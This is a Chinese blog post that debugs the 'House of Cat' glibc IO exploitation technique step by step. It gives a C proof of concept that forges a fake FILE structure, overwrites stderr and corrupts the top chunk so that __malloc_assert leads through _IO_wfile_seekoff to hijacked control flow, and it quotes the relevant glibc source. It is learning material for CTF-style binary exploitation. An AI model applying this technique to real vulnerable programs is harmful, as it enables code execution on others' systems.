House of cat调试

House of cat调试

Berial Lv1

前言

感觉有好久都没学新知识了,对高版本堆和IO结构也不是很了解,借着团队里训练的录像好好学习一下

参考链接:[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪-安全社区|安全招聘|kanxue.com


House of Cat

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<stdlib.h>

int main(){
size_t puts_addr = &puts;
size_t libc_base = puts_addr - 0x80ed0;

size_t * stderr_ = libc_base + 0x21a860;

size_t * ptr = malloc(0x500);
size_t heapbase = ptr - 0x2a0;

* stderr_ = ptr - 2;

ptr[0xf] = heapbase + 0x5000; //_lock

size_t _IO_wfile_jumps = libc_base + 0x2160c0;
ptr[0x19] = _IO_wfile_jumps + 0x10;//vtable

ptr[0x12] = ptr - 2;//wide_data
ptr[1] = 1;
ptr[2] = 2;
ptr[3] = 0x1234;

ptr[0x1a] = ptr;

ptr[0x508/8] = 0x55;
malloc(0x500);//__malloc_assert
}

可利用版本:2.35及以前

这次主要是利用带源码调试的方式,一步一步的观察house of cat的调用链

调用链1

  • 卡在_IO_flockfile:fake_io没有在对应位置提供可写位置;—>令fake_io->_lock为可写地址
  • 通过虚表检测

先从源码出手从__malloc_assert到_IO_wfile_seekoff是如何跳转的

通常是改掉topchunk的size和prev_size来触发__malloc_assert。

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
1
2
3
4
5
6
7
8
9
int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}
1
2
3
4
5
6
7
8
9
10
11
int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);

/* We must convert the narrow format string to a wide one.
Each byte can produce at most one wide character. */
wchar_t *wfmt;
mbstate_t mbstate;
int res;
int used_malloc = 0;
size_t len = strlen (fmt) + 1;

if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
{
__set_errno (EOVERFLOW);
return -1;
}
if (__libc_use_alloca (len * sizeof (wchar_t)))
wfmt = alloca (len * sizeof (wchar_t));
else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
return -1;
else
used_malloc = 1;

memset (&mbstate, 0, sizeof mbstate);
res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);

if (res != -1)
res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);

if (used_malloc)
free (wfmt);

return res;
}

__malloc_assert --> __fxprintf --> __vfxprintf --> locked_vfxprintf --> __vfprintf_internal --> vfprintf

到源码的画质看到了这里,源码网站没有找到

通过写poc的方式继续看下一步如何进行

进行带源码调试

断在了__malloc_assert

image-20240511180849373

接着运行发现程序会卡在这里

image-20240511181629991

去查看一下源码

1
2
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)

是一个宏定义,然后去看一下汇编,看下卡在了哪里

image-20240511182401580

发现此时是进行一个比较,rdi并不是一个可写的地址,所以我们应该在对应位置提供一个可写的位置。

后面可以发现对应的位置在_lock位置。

image-20240511182812293

接着改了之后

image-20240511183342597

发现确实可以一直运行下去了

image-20240511191117808

这里有一个判断,还是看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int
_IO_fwide (FILE *fp, int mode)
{
/* Normalize the value. */
mode = mode < 0 ? -1 : (mode == 0 ? 0 : 1);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
if (__glibc_unlikely (&_IO_stdin_used == NULL) && _IO_legacy_file (fp))
/* This is for a stream in the glibc 2.0 format. */
return -1;
#endif

/* The orientation already has been determined. */
if (fp->_mode != 0
/* Or the caller simply wants to know about the current orientation. */
|| mode == 0)
return fp->_mode;

/* Set the orientation appropriately. */
if (mode > 0)
{
struct _IO_codecvt *cc = fp->_codecvt = &fp->_wide_data->_codecvt;

fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_base;

/* Get the character conversion functions based on the currently
selected locale for LC_CTYPE. */
{
/* Clear the state. We start all over again. */
memset (&fp->_wide_data->_IO_state, '\0', sizeof (__mbstate_t));
memset (&fp->_wide_data->_IO_last_state, '\0', sizeof (__mbstate_t));

struct gconv_fcts fcts;
__wcsmbs_clone_conv (&fcts);
assert (fcts.towc_nsteps == 1);
assert (fcts.tomb_nsteps == 1);

cc->__cd_in.step = fcts.towc;

cc->__cd_in.step_data.__invocation_counter = 0;
cc->__cd_in.step_data.__internal_use = 1;
cc->__cd_in.step_data.__flags = __GCONV_IS_LAST;
cc->__cd_in.step_data.__statep = &fp->_wide_data->_IO_state;

cc->__cd_out.step = fcts.tomb;

cc->__cd_out.step_data.__invocation_counter = 0;
cc->__cd_out.step_data.__internal_use = 1;
cc->__cd_out.step_data.__flags = __GCONV_IS_LAST | __GCONV_TRANSLIT;
cc->__cd_out.step_data.__statep = &fp->_wide_data->_IO_state;
}

/* From now on use the wide character callback functions. */
_IO_JUMPS_FILE_plus (fp) = fp->_wide_data->_wide_vtable;
}

/* Set the mode now. */
fp->_mode = mode;

return mode;
}

其实主要就是判断mode的值,其实是对流程没有影响的,接着就从__vfprintf_internal直接跳到了vfprintf这里,之后调用链1就差不太多了

接着就是(io->vatable)–>_IO_wfile_seekoff–>调用链2,利用_IO_wfile_seekoff跳过虚表检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

他是在一个跳表上的

继续跟进发现调用了_IO_wfile_xsputn

image-20240512213544930

我们的重点是调用seekoff,所以继续修改poc,将这个地址加0x10

然后断在了这里

image-20240512213832585

这就是调用链1

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>

int main(){
size_t puts_addr = &puts;
size_t libc_base = puts_addr - 0x80ed0;

size_t * stderr_ = libc_base + 0x21a860;

size_t * ptr = malloc(0x500);
size_t heapbase = ptr - 0x2a0;

* stderr_ = ptr - 2;

ptr[0xf] = heapbase + 0x5000; //_lock

size_t _IO_wfile_jumps = libc_base + 0x2160c0;
ptr[0x19] = _IO_wfile_jumps + 0x10;//vtable

ptr[0x508/8] = 0x55;
malloc(0x500);//__malloc_assert
}

调用链2

接着上一条链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);

/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;

截取了部分代码,发现了_IO_switch_to_wget_mode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
if (_IO_in_backup (fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
= fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}

在上面的_IO_wfile_seekoffwas writing要为1

image-20240512215449761

也就是说只要令红框内的为真即可,就是write_ptr > write_base,但是我们并不能随意地进行赋值,因为它是通过wide_data来进行寻找的,所以应该先把wide_data进行一个赋值

直接在ptr上面的就行

image-20240512221628746

在这种情况下,我们根据汇编进行的赋值,最后的结果就是可以控制返回地址以及rcx和rdx

到这里整个利用链就完事了,再往后就是打orw啥的了,跟调试链子关系不是很大了就。

例题

[强网杯 2022 初赛]house_of_cat:

2022qwbhouseofcat
  • Title: House of cat调试
  • Author: Berial
  • Created at : 2024-05-05 17:21:15
  • Updated at : 2024-09-12 14:47:27
  • Link: https://berial.cn/posts/Houseofcat调试/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
House of cat调试